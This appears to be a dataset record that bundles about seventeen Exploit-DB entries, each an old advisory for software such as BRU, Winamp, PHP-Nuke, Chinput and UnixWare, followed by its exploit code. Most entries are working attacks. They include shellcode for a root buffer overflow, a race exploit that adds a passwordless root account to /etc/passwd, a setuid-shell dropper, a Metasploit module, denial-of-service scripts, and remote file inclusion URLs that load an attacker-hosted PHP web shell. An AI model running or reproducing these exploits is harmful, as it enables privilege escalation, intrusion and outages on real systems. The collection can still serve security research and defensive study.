QLWD/code_shield huggingface dataset:
标题: BRU 17.0 - SetLicense Script Insecure Temporary File Symbolic Link EDB-ID: 21247 CVE: 2002-0210 类型: LOCAL 平台: LINUX 发布日期: 2002-01-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3970/info

BRU is a commercially available backup software infrastructure available for both UNIX and Linux Operating Systems. It is distributed and maintained by the Tolis Group.

When BRU executes, it creates temporary files insecurely. BRU uses easily predicted temporary filename /tmp/brutest.$$ where $$ is the process id of the executing shell. The program also does not check for an already existing file of the same name.

This makes it possible for a local user to launch a symbolic link attack, and could lead to the overwriting of system files, or potentially elevated privileges.

/* symace.c -0.0.1 - A generic filesystem symlink/race thinger */

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>

/* Please note that there is no error checking... */
/* By Andrew Griffiths (nullptr@tasmail.com)    */

int main(int argc, char **argv)
{
        char *overwrite;
        char *base;
        int start_pid, end_pid;
        int i, size;

        overwrite = strdup(argv[1]);
        size = strlen(argv[2]) + 8 + 1;
        base = malloc(size);
        start_pid=atoi(argv[3]);
        end_pid=atoi(argv[4]);

        for(i=start_pid;i<end_pid;i++) {
                memset(base, 0, size-1);
                snprintf(base, size-1, "%s%d", argv[2], i);
                if(symlink(overwrite, base)==-1) {
                        printf("Unable to create %s bailing\n", base);
                        exit(EXIT_FAILURE);
                }
        }
        printf("done\n");
} URL: https://www.exploit-db.com/exploits/21247
标题: Tru64 - Malformed TCP Packet Denial of Service EDB-ID: 21261 CVE: 2002-2071 类型: DOS 平台: UNIX 发布日期: 2002-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/4011/info

It has been reported that Tru64 systems may be prone to a denial of service condition when handling malformed TCP packets.

Specifically, when processing a malformed TCP packet with both the SYN and FIN flags set, vulnerable Tru64 systems may block indefinitely, thus causing a denial of service. As a result other legitimate users may no longer be capable of accessing remote services.

This vulnerability is said to affect Tru64 4.0E as well as various versions of Digital Unix and VxWorks.

hping2 -a <spoofed ip> -SPF -p 21 -c 1 <dest ip> URL: https://www.exploit-db.com/exploits/21261
标题: Agora.CGI 3/4 - Debug Mode Full Path Disclosure EDB-ID: 21249 CVE: 2002-0215 类型: REMOTE 平台: CGI 发布日期: 2002-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/3976/info

Agora.cgi is a freely available, open source shopping cart system. 

When debug mode is enabled, it is possible for a remote attacker to display the absolute path to the directory that the agora.cgi script is stored in. This is possible by making a web request for a non-existent .html file.

The remote attacker may potentially use the disclosed information to aid in further "intelligent" attacks against the host running the vulnerable software.

The following example is sufficient to reproduce this issue:

http://agoracgistorehost/cgi-bin/store/agora.cgi?page=pretendpage.html

where pretendpage.html is a non-existent .html file. URL: https://www.exploit-db.com/exploits/21249
标题: User-Mode Linux (Linux Kernel 2.4.17-8) - Memory Access Privilege Escalation EDB-ID: 21248 CVE: 2002-2016 类型: LOCAL 平台: LINUX 发布日期: 2000-08-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/3973/info

User-Mode Linux (UML) is a patch which allows the Linux Kernel to run as a user space process. It is currently available for the Linux operating system. It may be used as an efficient tool for kernel development, as well as for virtual networking, honeypots, and experimentation.

UML does not correctly protect kernel address space from user programs within the UML environment. It may be possible to execute arbitrary code within the kernel and gain root access. Additionally, it may be possible to use this vulnerability to escape the UML environment, leading to local access on the hosting system.

This is a known problem with the current UML implementation. Memory protection may be partially implemented at this time.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21248.tgz URL: https://www.exploit-db.com/exploits/21248
标题: Winamp - MAKI Buffer Overflow (Metasploit) EDB-ID: 21256 CVE: 2009-1831 类型: LOCAL 平台: WINDOWS 发布日期: 2012-09-12 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Winamp MAKI Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack based buffer overflow in Winamp 5.55. The flaw
    exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file,
    where memmove is used with in a insecure way with user controlled data.

    To exploit the vulnerability the attacker must convince the attacker to install the
    generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin,
    or generate a new skin using the crafted mcvcore.maki file. The module has been
    tested successfully on Windows XP SP3 and Windows 7 SP1.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Monica Sojeong Hong', # Vulnerability Discovery
     'juan vazquez' # Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2009-1831'],
     [ 'OSVDB', '54902'],
     [ 'BID', '35052'],
     [ 'EDB', '8783'],
     [ 'EDB', '8772'],
     [ 'EDB', '8770'],
     [ 'EDB', '8767'],
     [ 'URL', 'http://vrt-sourcefire.blogspot.com/2009/05/winamp-maki-parsing-vulnerability.html' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'       => 4000,
     'DisableNops' => true,
     'BadChars'    => ""
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     # winamp.exe 5.5.5.2405
     [ 'Winamp 5.55 / Windows XP SP3 / Windows 7 SP1',
      {
       'Ret' => 0x12f02bc3, # ppr from in_mod.dll
       'Offset' => 16756
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'May 20 2009',
   'DefaultTarget'  => 0))

  deregister_options('FILENAME')
 end

 def file_format_filename
  'mcvcore.maki'
 end

 def exploit

  sploit = rand_text(target['Offset'])
  sploit << generate_seh_record(target.ret)
  sploit << payload.encoded
  length_sploit = [sploit.length].pack("v")

  header = "\x46\x47" # magic
  header << "\x03\x04" # version
  header << "\x17\x00\x00\x00"
  types  = "\x01\x00\x00\x00" # count
  # class 1 => Object
  types << "\x71\x49\x65\x51\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7"
  # functions
  functions = "\x37\x00\x00\x00" # count
  #function 1
  functions << "\x01\x01" # class
  functions << "\x00\x00" # dummy
  functions << length_sploit # function name length
  functions << sploit # crafted function name

  maki = header
  maki << types
  maki << functions

  print_status("Creating '#{file_format_filename}' file ...")

  file_create(maki)

 end

end URL: https://www.exploit-db.com/exploits/21256
标题: Microsoft Windows XP - '.Manifest' Denial of Service EDB-ID: 21240 CVE: 2002-2105 类型: DOS 平台: WINDOWS 发布日期: 2002-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/3942/info

To enable desktop skinning, Microsoft Windows XP uses '.manifest' files ('<filename>.exe.manifest'). This file contains XML code that tells Windows XP to use the XP controls.

Due to a flaw, Windows XP fails to properly verify the XML code within a '.manifest' file.

If XML code is modified, the associated application will not start, causing a denial of service.

This issue could pose a more serious threat if the XML code associated with 'explorer.exe' is modified. If the 'explorer.exe.manifest' file is modified, then when the computer restarts, the system will hang and 'explorer.exe' will not load, causing a denial of service.

Reportedly, the repair function will not resolve this issue. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21240.zip URL: https://www.exploit-db.com/exploits/21240
标题: DNRD 1.x/2.x - DNS Request/Reply Denial of Service EDB-ID: 21236 CVE: 2002-0140 类型: DOS 平台: UNIX 发布日期: 2002-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/3928/info

dnrd (Domain Name Relay Daemon) is a freely available, open-source proxy name server. It will run on a number of Unix and Linux distributions.

There is a lack of sufficient bounds checking in DNS request and reply functions. As a result, it is possible for a remote attacker to cause a denial of service to legitimate users of dnrd.

It is not known whether it is possible to execute arbitrary attacker-supplied instructions as a result of this vulnerability.

dd if=/dev/urandom bs=64 count=1 | nc -u 127.0.0.1 53 -w 1 URL: https://www.exploit-db.com/exploits/21236
标题: Alteon AceDirector - Half-Closed HTTP Request IP Address Revealing EDB-ID: 21243 CVE: 2002-0209 类型: REMOTE 平台: HARDWARE 发布日期: 2001-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/3964/info

Alteon ACEdirector is a hardware solution distributed by Nortel Networks. ACEdirector runs the Nortel WebOS operating system.

It is possible to retrieve the real IP addresses of webservers that are managed by an ACEdirector. When a client is connected to a webserver via the virtual IP address of the ACEdirector, the connection to a web server in the load balanced pool is tracked by a cookie and session id, and the traffic is altered to appear as though it is coming from the ACEdirector.

When a client has half-closed a connection to the ACEdirector, the load balancer will no longer alter the traffic to the client to appear as though it is coming from the ACEdirector's IP address. The traffic will continue to come from the webserver, but will instead come from the real IP address of the web server.

#! /usr/local/bin/perl

# acedirector_request - trivial script to do an HTTP Simple-Request of "/"
#                       utilizing TCP half-close.
#
#                       This script was written to demonstrate how one can
#                       elicit erroneous behavior from an Alteon/Nortel
#                       ACEdirector which has been configured to use its
#                       "Server Load Balancing" (SLB) and "Cookie-Based
#                       Persistence" features.
#
# Dave Plonka <plonka@doit.wisc.edu>, Dec 20 2001

use IO::Socket;
use FindBin;
use Getopt::Std;

if (!getopts('c:') or '' eq $ARGV[0]) {
   die "usage: $FindBin::Script [-c COOKIE] web_server\n"
}

my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => 'http(80)',
     Proto    => 'tcp');
die unless ref($sock);

if (!$opt_c) {
   print $sock "GET /\r\n";
} else {
   print $sock "GET / HTTP/1.0\r\nCookie: ${opt_c}=X\r\n\r\n";
}

$sock->shutdown(1);

@response = <$sock>;

if (@response) {
   print join("\n", @response)
} else {
   if ($opt_c) {
      my $command = "tcpdump -nv tcp and port 80 and not host $ARGV[0]";
      warn "$ARGV[0] did not respond to TCP half-closed request.\n" .
           " Launching tcpdump to watch for RST...\n";
      system($command . " 2>&1");
      if (0 != ($?/256)) {
         warn "\"$command\" failed.\n"
      }
   } else {
      warn "$ARGV[0] did not response to TCP half-closed request.\n" .
    "It might be an ACEdirector.\n"
   }
}

exit URL: https://www.exploit-db.com/exploits/21243
标题: Tarantella Enterprise 3 - gunzip Race Condition EDB-ID: 21244 CVE: 2002-0211 类型: LOCAL 平台: UNIX 发布日期: 2002-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/3966/info

Tarantella Enterprise 3 is vulnerable to a race condition during the installation process. During installation, a root owned binary is created in /tmp (the directory specified by the $TMPDIR environment variable) with the name gunzip#### where #### is a PID. Prior to it being invoked by the installation program it can be overwritten by a local user. This is then run by the installation program with root privileges.

An attacker can only gain privileges in this manner if a privileged user is installing the software.

#!/usr/bin/perl -w
#Another Exploit for tarantella enterprise 3 installation.
#Larry Cashdollar lwc@vapid.dhs.org 2/08/2002
#Exploits gunzip$$ binary being created in /tmp with perm 777
#http://online.securityfocus.com/bid/3966
#Experimental ext3 kernel mods for preventing/researching race conditions.
#http://vapid.dhs.org/tmp-patch-kernel-2.4.17.html

use strict;

`cat  <<  -EOF- > root.sh
#!/bin/sh
chmod 777 /etc/passwd
echo "tarexp::0:0:Tarantella Exploit:/:/bin/bash" >> /etc/passwd
-EOF-`;

my $OUT = '';

while(!$OUT) {
 $OUT =  `ps -ax |grep gunzip |grep -v grep`;
        print "Found $OUT\n";
}

my @args  = split(' ',$OUT);
# Do this with one copy operation. This will break installation of tarantella.
# should test for -w on /etc/passwd stop and su - tarexp.
while(1) {
`cp root.sh $args[4]`;
} URL: https://www.exploit-db.com/exploits/21244
标题: Apple Mac OS Internet Explorer 3/4/5 - File Execution EDB-ID: 21238 CVE: 2002-0153 类型: REMOTE 平台: OSX 发布日期: 2002-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/3935/info

A vulnerability has been discovered in MacOS systems running Internet Explorer 5.1 and earlier. MacOS X is not affected by this issue.

File URLs may be used by a malicious webmaster to execute programs on a web user's local system. The exact path to the location of the file must be known. This includes being able to anticipate the name of a particular user's hard drive.

This issue may be exploited to execute "Speakable Items" in MacOS 8 and 9.

This issue may also be exploitable through maliciously crafted HTML-enabled e-mail. 

<META HTTP-EQUIV="refresh" CONTENT="1; URL=file:///Macintosh%20HD/System%20Folder/Speakable%20Items/Put%20Computer%20To%20Sleep"> URL: https://www.exploit-db.com/exploits/21238
标题: Caldera UnixWare 7.1.1 - WebTop 'SCOAdminReg.cgi' Arbitrary Command Execution EDB-ID: 21239 CVE: 2002-0311 类型: LOCAL 平台: UNIXWARE 发布日期: 2002-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/3936/info

UnixWare is a commercial Unix implementation distributed originally developed by SCO. It is now maintained and distributed by Caldera.

The scoadminreg.cgi program does not properly validate user input when executed with the -c option. Because of this, a user may load an arbitrary program with the -c flag. When this program is executed, the file loaded with the -c flag will be executed with administrative privileges. 

#!/bin/sh

## jggm@mail.com

CC="gcc"
SCOADMIN=/opt/webtop/bin/i3un0212/cgi-
bin/admin/scoadminreg.cgi

#
#
#
#

echo
echo "jGgM root exploit"
echo "http://www.netemperor.com/"
echo
echo "Mail: jggm@mail.com"
echo

if [ ! -x $SCOADMIN ]; then
   echo "$SCOADMIN file not found"
   exit 2;
fi

cat >/tmp/jggm.c <<_EOF

main()
{
   setuid(0);
   setgid(0);
   chown("/tmp/jGgM_Shell", 0, 0);
   chmod("/tmp/jGgM_Shell", 04755);
}
_EOF

cp /bin/ksh /tmp/jGgM_Shell
$CC -o /tmp/jggm /tmp/jggm.c

$SCOADMIN "-c /tmp/jggm;/tmp/jggm;"

rm -rf /tmp/jggm /tmp/jggm.c

/tmp/jGgM_Shell

# end of file.. URL: https://www.exploit-db.com/exploits/21239
标题: Netopia Timbuktu Pro for Macintosh 6.0.1 - Denial of Service EDB-ID: 21234 CVE: 2002-0135 类型: DOS 平台: OSX 发布日期: 2002-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/3918/info

Timbuktu is a remote administration tool. It is available for the Microsoft Window's family of operating systems and Power PC based Macintosh computers. It supports a variety of administrative tasks, including full remote access to the user's desktop.

A vulnerability exists in some versions of Timbuktu. If a large number of connections are created to the Timbuktu server, the server will no longer accept new connections. 

#!/bin/sh
while:
do
telnet tb2.host.com 1417 &
done URL: https://www.exploit-db.com/exploits/21234
标题: PHP-Nuke 4.x/5.x - Arbitrary File Inclusion EDB-ID: 21230 CVE: 2002-0206 类型: WEBAPPS 平台: PHP 发布日期: 2002-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/3889/info

PHPNuke is a website creation/maintenance tool.

The 'index.php' script has a feature which allows users to include files. Due to insufficent input validation, it is possible to include files located on a remote server. Arbitrary code in the attacker's included file may be executed.

As one consequence of this issue, a remote attacker can cause commands to be executed on the shell of the host running vulnerable versions of PHPNuke. Commands will be executed with the privileges of the webserver process and may result in the attacker gaining local access.

It is not known whether this vulnerability affects PostNuke, though the possibility exists. 

Create the following file on a remote server:

<?php
system($cmd);
?>

The following URL will include the malicious file and allow the attacker to execute the "la -la" command on the shell of the host running PHPNuke:

http://insecure-server/index.php?file=http://where.the.bad.php.file.is/evil.php&cmd=ls%20-al URL: https://www.exploit-db.com/exploits/21230
标题: PHP-Nuke 4.x/5.x - SQL_Debug Information Disclosure EDB-ID: 21233 CVE: 2002-2032 类型: WEBAPPS 平台: PHP 发布日期: 2002-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/3906/info

PHPNuke is a website creation/maintenance tool. It is can be back-ended by a number of database products such as MySQL, PostgreSQL, mSQL, Interbase, Sybase, etc.

The sql_layer.php script contains a debugging feature that may be used by attackers to disclose sensitive information about all SQL queries made by PHPNuke. Access to the debugging feature is not restricted to administrators.

This may be used by a remote attacker to disclose sensitive information about the database which may contribute to further attacks against the website running PHPNuke and the database.

It is not known whether PostNuke is also affected by this issue. 

The following URLs may be used to access the debugging features:

http://www.vulnerable-site.com/index.php?sql_debug=1

or

http://www.vulnerable-site.com/modules.php?name=Members_List&&sql_debug=1 URL: https://www.exploit-db.com/exploits/21233
标题: Chinput 3.0 - Environment Variable Buffer Overflow EDB-ID: 21231 CVE: 2002-0132 类型: LOCAL 平台: LINUX 发布日期: 2002-01-16 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3896/info

Chinput is an input server designed for Chinese characters. It is available on Linux and other Unix based systems. Chinput appears to be installed suid root by default.

A vulnerability exists in Chinput. A local user with an extremely long HOME environment variable may cause a buffer to overflow. If successfully exploited, this can overwrite the instruction pointer, and lead to the execution of arbitrary code as root. 

/* local exploit for Chinput 3.0
 * .. tested in TurboLinux 6.5 with kernel 2.2.18
 *
 * Usage: $gcc chinput_exp.c
 *        $./a.out
 *        bash-2.04$ /usr/bin/chinput
 *
 *                       by xperc@hotmail.com
 *                               2002/1/16
 */

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define OFS 0x1f0

unsigned long get_esp()
{
    __asm__("mov %esp,%eax");
}

char *shellcode=
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"    /*
setuid=0 */
    "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"    /*
setgid=0 */
    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b"
    "\x33\xd2\x89\x56\x07\x89\x56\x0f"
    "\xb8\x1b\x56\x34\x12\x35\x10\x56"
    "\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
    "\xff\xff\xff/bin/sh";


char s[512];
char *s1;

int main()
{
 strcpy(s,"HOME=");
 s1=s+5;
 while(s1<s+260+5-strlen(shellcode))
     *(s1++)=NOP;

 while(*shellcode)
            *(s1++)=*(shellcode++);
        *((unsigned long *)s1)=get_esp()-OFS;
 printf("Jump to: %p\n",*((long *)s1));
 s1+=4;
 *s1=0;
 putenv(s);
 system("bash");
} URL: https://www.exploit-db.com/exploits/21231
标题: WikkiTikkiTavi 0.x - Remote File Inclusion EDB-ID: 21241 CVE: 2002-2106 类型: WEBAPPS 平台: PHP 发布日期: 2002-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/3946/info

WikkiTikkiTavi is a freely available engine for running a Wiki site. Wiki sites are web communities which are based on the idea that every webpage is editable by users of the website. WikkiTikkiTavi is back-ended by a MySQL database and runs on most Linux and Unix variants, as well as Microsoft Windows NT/2000 operating systems.

WikkiTikkiTavi permits remote file including. As a result, a remote attacker may include an arbitrary file located on a remote host. This may be exploited via a malicious web request. If this file is a PHP script, it will be executed on the host running the vulnerable software with the privileges of the webserver.

The attacker may use this as an opportunity to gain local access on the host running the vulnerable software.

The following URL is sufficient to exploit this issue:

http://some.host/wikihome/action/conflict.php?TemplateDir=http://my.host/

where conflict.php is the name of the malicious attacker-supplied script. URL: https://www.exploit-db.com/exploits/21241
标题: Cyberstop Web Server 0.1 - Long Request Denial of Service EDB-ID: 21237 CVE: 2002-0201 类型: DOS 平台: WINDOWS 发布日期: 2002-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/3930/info

Cyberstop is a web server for Windows 9x/NT/2000 systems.

Attacks can be launched on a Cyberstop host if a request is submitted containing an unusual number of arbitrary characters. Cyberstop web server will stop responding, a restart of the application may be required in order to regain normal functionality. 

#!/usr/bin/perl
# Simple script to send a long 'A^s' command to the server, 
# resulting in the server crashing.
#
# CyberStop WEbserver v0.1 proof-of-concept exploit
# By Alex Hernandez <al3xhernandez@ureach.com> (C)2002.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
# G.Maggiotti & H.Oliveira.
# 
#
# Usage: perl -x Cyber_DoS.pl -s <server>
#
# Example: 
#
# perl -x Cyber_DoS.pl -s 10.0.0.1
# 
# Crash was successful !
#

use Getopt::Std;
use IO::Socket;

print("\nCyberStop WEbserver v0.1 DoS exploit (c)2002.\n");
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");

getopts('s:', \%args);
if(!defined($args{s})){&usage;}

($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);

$def = "A";
$num = "3000";
$data .= $def x $num;
$serv = $args{s};
$port = 80;
$buf = "GET /$data /HTTP/1.0\r\n\r\n";


$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";


print("\nCrash was successful !\n\n");

sub usage {die("\n\nUsage: perl -x $0 -s <server>\n\n");} URL: https://www.exploit-db.com/exploits/21237